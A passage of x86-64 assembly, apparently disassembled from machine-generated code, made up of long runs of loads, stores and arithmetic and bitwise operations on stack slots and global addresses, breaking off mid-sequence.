lea rax, [rsp + 0x10c8]
mov qword [rsp + 0x96e0], rax
movsx eax, byte [rsp + 0x240]
movsx ecx, byte [rsp + 0x1e6]
sub eax, ecx
mov byte [0x14011430c], al
movzx eax, byte [0x14011305e]
mov rcx, qword [rsp + 0x7628]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7d], al
movsx eax, word [rsp + 0xc44]
mov rcx, qword [rsp + 0x5888]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd2c], ax
movzx eax, word [rsp + 0xc20]
mov word [rsp + 0x1164], ax
mov rax, qword [rsp + 0x8840]
mov rcx, qword [rsp + 0x5898]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2c08], eax
lea rax, [rsp + 0x5df8]
mov qword [rsp + 0x96e8], rax
mov rax, qword [rsp + 0x8f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x31f0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7018]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6720]
mov rcx, qword [rsp + 0x52f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5e50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7460]
movzx eax, byte [rax]
mov byte [rsp + 0x24c], al
mov rax, qword [rsp + 0x8900]
movsx eax, word [rax]
movsx ecx, word [0x1401130bc]
sub eax, ecx
mov word [0x1401131c8], ax
movzx eax, byte [rsp + 0x92]
mov rcx, qword [rsp + 0x69d0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5878]
mov byte [rcx], al
lea rax, [rsp + 0x1088]
mov qword [rsp + 0x96f0], rax
movsx eax, byte [rsp + 0x24b]
mov rcx, qword [rsp + 0x6970]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x55a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5008]
mov rcx, qword [rsp + 0x9550]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8d80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69f0]
mov qword [rsp + 0x96f8], rax
mov eax, dword [rsp + 0x2f38]
movzx ecx, al
mov eax, dword [rsp + 0x323c]
shl eax, cl
mov rcx, qword [rsp + 0x5570]
mov dword [rcx], eax
lea rax, [rsp + 0x3298]
mov qword [rsp + 0x9700], rax
mov rax, qword [rsp + 0x8098]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x53f0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8bd8]
mov word [rcx], ax
movsx eax, word [0x140114538]
mov rcx, qword [rsp + 0x57d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140114350]
mov word [rcx], ax
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x9708], rax
mov rax, qword [rsp + 0x76c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8460]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x192], al
movsx eax, word [rsp + 0xf08]
mov rcx, qword [rsp + 0x7ba8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6f58]
mov word [rcx], ax
mov eax, dword [rsp + 0x3378]
mov dword [rsp + 0x3388], eax
mov eax, dword [rsp + 0x300c]
mov ecx, dword [rsp + 0x2cfc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cb4], eax
mov rax, qword [0x140114160]
mov qword [rsp + 0x9710], rax
mov rax, qword [rsp + 0x8548]
mov rcx, qword [rsp + 0x91c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5158]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x13c]
movzx ecx, byte [rsp + 0x20b]
add eax, ecx
mov byte [rsp + 0x1ea], al
mov rax, qword [rsp + 0x7d40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdd]
and eax, ecx
mov byte [0x1401130eb], al
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x9718], rax
movsx eax, word [rsp + 0xff8]
movsx ecx, word [rsp + 0xdf0]
sub eax, ecx
mov rcx, qword [rsp + 0x6e70]
mov word [rcx], ax
movzx eax, byte [rsp + 0x169]
mov byte [rsp + 0x24d], al
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0x97]
xor eax, ecx
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x7118]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x60c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x310c]
mov dword [rsp + 0x338c], eax
mov rax, qword [rsp + 0x6e48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7358]
mov qword [rsp + 0x9720], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9720]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2d04], eax
lea rax, [rsp + 0x77d0]
mov qword [rsp + 0x9728], rax
movzx eax, byte [0x140114157]
mov byte [0x14011430d], al
mov rax, qword [rsp + 0x5298]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1130]
shl eax, cl
mov word [rsp + 0xf8c], ax
mov rax, qword [rsp + 0x7a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x73b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10b0], ax
lea rax, [rsp + 0x191]
mov qword [rsp + 0x9730], rax
movsx eax, byte [rsp + 0x228]
movsx ecx, byte [rsp + 0x216]
and eax, ecx
mov rcx, qword [rsp + 0x8778]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ad8]
mov qword [rsp + 0x9738], rax
mov rax, qword [rsp + 0x8828]
mov rcx, qword [rsp + 0x4cb8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x57c8], rax
lea rax, [rsp + 0x2f5c]
mov qword [rsp + 0x9740], rax
mov eax, dword [rsp + 0x2d38]
mov ecx, dword [rsp + 0x3344]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3244], eax
mov rax, qword [rsp + 0x6548]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8d4]
add eax, ecx
mov rcx, qword [0x140114330]
mov word [rcx], ax
movsx eax, word [rsp + 0xe94]
mov rcx, qword [rsp + 0x83d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9130]
mov word [rcx], ax
lea rax, [rsp + 0xa50]
mov qword [rsp + 0x9748], rax
movzx eax, byte [rsp + 0x224]
movzx ecx, byte [rsp + 0xaa]
sub eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov byte [rcx], al
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0x9750], rax
mov rax, qword [rsp + 0x8678]
mov rcx, qword [rsp + 0x5710]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5918]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7bf8]
mov rcx, qword [rsp + 0x6670]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x96f8], rax
lea rax, [rsp + 0x30d4]
mov qword [rsp + 0x9758], rax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x6a78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov dword [rcx], eax
lea rax, [rsp + 0x208]
mov qword [0x140114b10], rax
movzx eax, word [rsp + 0xa90]
mov word [rsp + 0x1168], ax
movzx eax, byte [rsp + 0x13b]
mov rcx, qword [rsp + 0x5f18]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5740]
mov byte [rcx], al
movzx eax, word [0x1401130ec]
mov rcx, qword [rsp + 0x7d98]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xd88], ax
movzx eax, word [rsp + 0xa60]
mov word [rsp + 0x116c], ax
mov rax, qword [rsp + 0x9698]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6e48]
mov qword [rsp + 0x9760], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9760]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x7e78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2ffc]
mov dword [rsp + 0x3390], eax
mov rax, qword [rsp + 0x7260]
mov rcx, qword [rsp + 0x5518]
mov qword [rsp + 0x9768], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9768]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x6d38]
mov qword [rcx], rax
lea rax, [rsp + 0x6dd8]
mov qword [rsp + 0x9770], rax
mov rax, qword [rsp + 0x86f0]
movzx eax, byte [rax]
mov rcx, qword [0x140114410]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140114285], al
mov rax, qword [rsp + 0x63e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6548]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5a00]
mov word [rcx], ax
movsx eax, word [rsp + 0xe3c]
mov rcx, qword [rsp + 0x84d8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5888]
mov word [rcx], ax
mov rax, qword [0x140114898]
movzx eax, byte [rax]
mov byte [rsp + 0x24e], al
movsx eax, word [rsp + 0xa38]
mov rcx, qword [rsp + 0x75c0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x70a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ff0]
mov rax, qword [rax]
mov qword [rsp + 0x9778], rax
mov rax, qword [rsp + 0x8dc0]
mov rcx, qword [rsp + 0x8c30]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9178]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6fe8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x32ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ec4], eax
mov eax, dword [rsp + 0x2c50]
mov dword [rsp + 0x3394], eax
mov rax, qword [rsp + 0x6cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5e90]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140114408]
mov byte [rcx], al
mov rax, qword [rsp + 0x5630]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xde0]
sub eax, ecx
mov rcx, qword [rsp + 0x4c78]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c30]
movzx eax, byte [rax]
mov byte [rsp + 0x24f], al
movsx eax, byte [rsp + 0x1d8]
movsx ecx, byte [rsp + 0x10b]
sub eax, ecx
mov byte [rsp + 0x189], al
mov rax, qword [rsp + 0x9608]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6988]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdc0], ax
mov rax, qword [rsp + 0x4ff0]
mov rax, qword [rax]
mov qword [rsp + 0x9780], rax
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
mov ecx, dword [0x140114150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bd4], eax
lea rax, [rsp + 0x51b0]
mov qword [rsp + 0x9788], rax
mov eax, dword [rsp + 0x2bc0]
mov rcx, qword [rsp + 0x5028]
mov qword [rsp + 0x9790], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9790]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5348]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5758]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xae8]
sar eax, cl
mov word [0x1401131cc], ax
movzx eax, word [rsp + 0xdcc]
mov rcx, qword [rsp + 0x6058]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x880], ax
movzx eax, byte [0x140113006]
mov byte [rsp + 0x250], al
mov rax, qword [rsp + 0x74c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
xor eax, ecx
mov byte [rsp + 0x51], al
movzx eax, word [rsp + 0x1014]
mov word [rsp + 0x1170], ax
mov rax, qword [rsp + 0x55f8]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0x59e8]
mov rcx, qword [rsp + 0x64b0]
mov qword [rcx], rax
lea rax, [rsp + 0x3128]
mov qword [rsp + 0x9798], rax
mov rax, qword [rsp + 0x5b38]
mov rcx, qword [rsp + 0x72f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7eb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7790]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6d58], rax
movsx eax, byte [rsp + 0x101]
movsx ecx, byte [rsp + 0x21f]
add eax, ecx
mov rcx, qword [0x140114a98]
mov byte [rcx], al
lea rax, [rsp + 0xab0]
mov qword [rsp + 0x97a0], rax
mov rax, qword [0x140114998]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d1]
and eax, ecx
mov byte [rsp + 0x1fe], al
lea rax, [rsp + 0x201]
mov qword [rsp + 0x97a8], rax
movzx eax, word [rsp + 0xdc0]
mov rcx, qword [rsp + 0x5e18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd64], ax
mov eax, dword [rsp + 0x30b4]
mov ecx, dword [rsp + 0x306c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ce0]
mov qword [rsp + 0x97b0], rax
mov rax, qword [rsp + 0x5b68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3010], eax
lea rax, [0x140114160]
mov qword [rsp + 0x97b8], rax
movsx eax, byte [rsp + 0x247]
movsx ecx, byte [rsp + 0x229]
sub eax, ecx
mov byte [rsp + 0xf5], al
lea rax, [rsp + 0xdf]
mov qword [0x140114b18], rax
mov rax, qword [rsp + 0x6ae0]
movzx eax, word [rax]
movzx ecx, word [0x1401130e4]
sub eax, ecx
mov word [rsp + 0xa74], ax
lea rax, [rsp + 0xf8c]
mov qword [rsp + 0x97c0], rax
movsx eax, byte [rsp + 0x3f]
movsx ecx, byte [rsp + 0x43]
or eax, ecx
mov byte [rsp + 0x185], al
mov rax, qword [rsp + 0x8788]
mov rax, qword [rax]
mov qword [rsp + 0x97c8], rax
mov eax, dword [rsp + 0x2f4c]
mov ecx, dword [rsp + 0x3268]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b3c], eax
mov eax, dword [rsp + 0x2f90]
movzx ecx, al
mov eax, dword [rsp + 0x3064]
shl eax, cl
mov dword [rsp + 0x2de0], eax
lea rax, [0x140113008]
mov qword [rsp + 0x97d0], rax
movzx eax, word [rsp + 0xfd4]
movzx ecx, word [rsp + 0xc7c]
sar eax, cl
mov rcx, qword [rsp + 0x5070]
mov word [rcx], ax
movzx eax, byte [rsp + 0x14b]
movzx ecx, byte [rsp + 0xdf]
and eax, ecx
mov byte [0x1401130aa], al
mov rax, qword [0x140114260]
movzx eax, byte [rax]
mov byte [rsp + 0x251], al
movsx eax, word [rsp + 0x1090]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x97a0]
mov word [rcx], ax
lea rax, [rsp + 0xe6]
mov qword [rsp + 0x97d8], rax
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3344]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x52b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6f48]
mov rcx, qword [rsp + 0x9010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9540], rax
mov rax, qword [rsp + 0x7178]
mov rax, qword [rax]
mov qword [rsp + 0x97e0], rax
mov eax, dword [rsp + 0x334c]
mov ecx, dword [rsp + 0x2f14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3390], eax
mov rax, qword [rsp + 0x72b0]
movzx eax, word [rax]
mov word [rsp + 0x1174], ax
movzx eax, word [rsp + 0xd14]
movzx ecx, word [rsp + 0xeb4]
and eax, ecx
mov word [0x1401131d0], ax
movzx eax, byte [rsp + 0xec]
mov rcx, qword [rsp + 0x6070]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ec], al
movzx eax, word [rsp + 0x938]
movzx ecx, word [rsp + 0xe2c]
sub eax, ecx
mov word [rsp + 0xf7c], ax
lea rax, [rsp + 0x22d]
mov qword [rsp + 0x97e8], rax
mov rax, qword [rsp + 0x7180]
mov rcx, qword [rsp + 0x82c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3144], eax
mov rax, qword [rsp + 0x6bd0]
mov rax, qword [rax]
mov qword [rsp + 0x97f0], rax
mov rax, qword [rsp + 0x7770]
mov rcx, qword [rsp + 0x59c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9240]
mov qword [rcx], rax
mov eax, dword [rsp + 0x31a0]
movzx ecx, al
mov eax, dword [rsp + 0x2ddc]
shl eax, cl
mov dword [rsp + 0x2af8], eax
movzx eax, word [rsp + 0xbe4]
mov word [rsp + 0x1178], ax
movzx eax, word [rsp + 0x8c0]
mov word [0x140114b20], ax
movsx eax, byte [rsp + 0x24b]
movsx ecx, byte [rsp + 0x175]
sar eax, cl
mov byte [rsp + 0x1b3], al
lea rax, [rsp + 0xd48]
mov qword [rsp + 0x97f8], rax
mov rax, qword [rsp + 0x5e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x156]
or eax, ecx
mov byte [rsp + 0x18a], al
lea rax, [0x140114a60]
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0x9028]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b98]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8080]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x31ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x30c0], eax
mov rax, qword [rsp + 0x7690]
mov rax, qword [rax]
mov qword [rsp + 0x9808], rax
mov eax, dword [rsp + 0x2c44]
mov ecx, dword [rsp + 0x31e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7838]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x5b]
movzx ecx, byte [rsp + 0x62]
add eax, ecx
mov byte [0x140113047], al
mov rax, qword [0x1401147f0]
movzx eax, byte [rax]
mov byte [rsp + 0x252], al
mov rax, qword [rsp + 0x9258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1060]
sub eax, ecx
mov rcx, qword [rsp + 0x5b20]
mov word [rcx], ax
movzx eax, word [rsp + 0xafc]
movzx ecx, word [rsp + 0x8e4]
add eax, ecx
mov word [rsp + 0xf4c], ax
lea rax, [0x140114358]
mov qword [rsp + 0x9810], rax
mov rax, qword [rsp + 0x7a20]
mov rcx, qword [rsp + 0x8060]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c88], rax
mov rax, qword [rsp + 0x55b8]
mov eax, dword [rax]
mov dword [rsp + 0x3398], eax
mov rax, qword [rsp + 0x8da8]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6908]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5ec0]
mov ecx, dword [rsp + 0x2b00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b50], eax
lea rax, [rsp + 0x1ac]
mov qword [0x140114b28], rax
lea rax, [0x140113026]
mov qword [rsp + 0x9818], rax
movsx eax, word [rsp + 0xcc8]
movsx ecx, word [rsp + 0x910]
add eax, ecx
mov word [rsp + 0x860], ax
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0x9820], rax
movzx eax, byte [rsp + 0x10e]
movzx ecx, byte [rsp + 0xb6]
sub eax, ecx
mov rcx, qword [rsp + 0x5f30]
mov byte [rcx], al
mov rax, qword [rsp + 0x5858]
mov rcx, qword [rsp + 0x79f0]
mov qword [rsp + 0x9828], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9828]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7770]
mov qword [rcx], rax
lea rax, [rsp + 0x5a90]
mov qword [rsp + 0x9830], rax
mov rax, qword [rsp + 0x8068]
mov rcx, qword [rsp + 0x9600]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2c0c], eax
mov eax, dword [rsp + 0x2c2c]
mov dword [rsp + 0x339c], eax
movzx eax, word [rsp + 0xcb0]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x140114170]
mov word [rcx], ax
movsx eax, word [rsp + 0x9cc]
mov rcx, qword [rsp + 0x6e00]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc94], ax
movzx eax, byte [rsp + 0xc9]
mov byte [rsp + 0x253], al
mov rax, qword [rsp + 0x7fc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov rcx, qword [rsp + 0x56a0]
mov byte [rcx], al
mov rax, qword [0x140114a28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5e00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0x6560]
mov qword [rsp + 0x9838], rax
mov eax, dword [rsp + 0x2f04]
mov ecx, dword [rsp + 0x31b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c48], eax
lea rax, [rsp + 0x2ae8]
mov qword [rsp + 0x9840], rax
mov rax, qword [rsp + 0x9548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8df0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6b50], rax
movsx eax, word [rsp + 0xa04]
mov rcx, qword [rsp + 0x73a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401131d4], ax
mov rax, qword [rsp + 0x7ee8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8328]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ef8]
mov word [rcx], ax
lea rax, [rsp + 0xf5]
mov qword [rsp + 0x9848], rax
mov rax, qword [rsp + 0x9388]
movzx eax, byte [rax]
mov rcx, qword [0x140114598]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7748]
mov byte [rcx], al
lea rax, [rsp + 0xf98]
mov qword [rsp + 0x9850], rax
mov eax, dword [rsp + 0x2fc4]
mov ecx, dword [rsp + 0x2eac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x88f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5900]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8658]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5b38]
mov eax, dword [rax]
mov dword [rsp + 0x33a0], eax
mov rax, qword [rsp + 0x82b0]
mov rcx, qword [rsp + 0x6f80]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6c88], rax
movsx eax, word [rsp + 0x890]
mov rcx, qword [0x140114350]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x140114530]
mov word [rcx], ax
lea rax, [rsp + 0x19e]
mov qword [rsp + 0x9858], rax
mov rax, qword [rsp + 0x7ff8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1108]
shl eax, cl
mov word [rsp + 0xd18], ax
movzx eax, byte [rsp + 0x126]
mov byte [rsp + 0x254], al
mov rax, qword [rsp + 0x7c60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x90c]
sar eax, cl
mov rcx, qword [rsp + 0x6d30]
mov word [rcx], ax
mov rax, qword [rsp + 0x72d8]
mov rcx, qword [rsp + 0x79b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5250], rax
mov rax, qword [rsp + 0x6698]
mov eax, dword [rax]
mov dword [rsp + 0x33a4], eax
mov rax, qword [rsp + 0x7cf0]
mov rcx, qword [rsp + 0x5790]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2db0], eax
lea rax, [rsp + 0x80e0]
mov qword [rsp + 0x9860], rax
mov rax, qword [rsp + 0x8368]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8a88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401145b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x74c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x160]
sub eax, ecx
mov rcx, qword [rsp + 0x62a8]
mov byte [rcx], al
movsx eax, word [rsp + 0xfc0]
mov rcx, qword [rsp + 0x7920]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10bc], ax
lea rax, [0x14011306b]
mov qword [rsp + 0x9868], rax
mov rax, qword [rsp + 0x6280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18f]
sub eax, ecx
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0x6e98]
mov rax, qword [rax]
mov qword [rsp + 0x9870], rax
mov rax, qword [rsp + 0x5168]
mov ecx, dword [rsp + 0x3214]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b84], eax
mov rax, qword [rsp + 0x8568]
mov rcx, qword [rsp + 0x6cb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2e28], eax
lea rax, [rsp + 0x80c0]
mov qword [rsp + 0x9878], rax
lea rax, [rsp + 0xdb8]
mov qword [0x140114b30], rax
mov rax, qword [rsp + 0x8d48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d8]
add eax, ecx
mov rcx, qword [rsp + 0x6970]
mov byte [rcx], al
movzx eax, word [rsp + 0xf60]
mov word [rsp + 0x117c], ax
movsx eax, word [rsp + 0x8c4]
movsx ecx, word [0x14011312c]
and eax, ecx
mov rcx, qword [rsp + 0x8ba0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x97a8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0x8550]
mov eax, dword [rax]
mov dword [rsp + 0x33a8], eax
mov rax, qword [rsp + 0x55a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2dbc]
sar eax, cl
mov rcx, qword [rsp + 0x9528]
mov dword [rcx], eax
lea rax, [rsp + 0x5708]
mov qword [rsp + 0x9880], rax
mov rax, qword [rsp + 0x96e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5f28]
shl rax, cl
mov qword [rsp + 0x8878], rax
lea rax, [rsp + 0x10a]
mov qword [rsp + 0x9888], rax
mov rax, qword [0x1401146e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10d8]
or eax, ecx
mov word [0x1401130f0], ax
movsx eax, word [rsp + 0xc40]
movsx ecx, word [rsp + 0x1154]
add eax, ecx
mov rcx, qword [rsp + 0x5598]
mov word [rcx], ax
mov rax, qword [rsp + 0x92a8]
movzx eax, byte [rax]
mov rcx, qword [0x140114610]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a6], al
movzx eax, word [rsp + 0xb5c]
mov word [rsp + 0x1180], ax
mov rax, qword [rsp + 0x59c0]
mov rcx, qword [rsp + 0x53c0]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0x80c0], rax
mov rax, qword [rsp + 0x8ff0]
mov rax, qword [rax]
mov qword [rsp + 0x9890], rax
mov eax, dword [rsp + 0x2d74]
mov ecx, dword [rsp + 0x3134]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f4c], eax
mov rax, qword [rsp + 0x5640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3098]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e14], eax
lea rax, [0x140114380]
mov qword [rsp + 0x9898], rax
lea rax, [rsp + 0x11c]
mov qword [0x140114b38], rax
movzx eax, word [rsp + 0xa64]
movzx ecx, word [rsp + 0x99c]
add eax, ecx
mov word [rsp + 0x104c], ax
movzx eax, word [rsp + 0x116c]
mov word [rsp + 0x1184], ax
mov rax, qword [0x140114a08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov byte [rsp + 0xd5], al
mov eax, dword [rsp + 0x30f8]
mov ecx, dword [rsp + 0x2c30]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
lea rax, [rsp + 0x78d0]
mov qword [rsp + 0x98a0], rax
mov rax, qword [rsp + 0x7f70]
mov rcx, qword [0x140113008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b90], rax
lea rax, [rsp + 0x2ba4]
mov qword [rsp + 0x98a8], rax
movsx eax, word [rsp + 0xdc4]
movsx ecx, word [0x140113158]
sub eax, ecx
mov rcx, qword [rsp + 0x90d0]
mov word [rcx], ax
lea rax, [rsp + 0xa10]
mov qword [0x140114b40], rax
movzx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0x5cb0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5980]
mov byte [rcx], al
lea rax, [rsp + 0x61]
mov qword [rsp + 0x98b0], rax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x142]
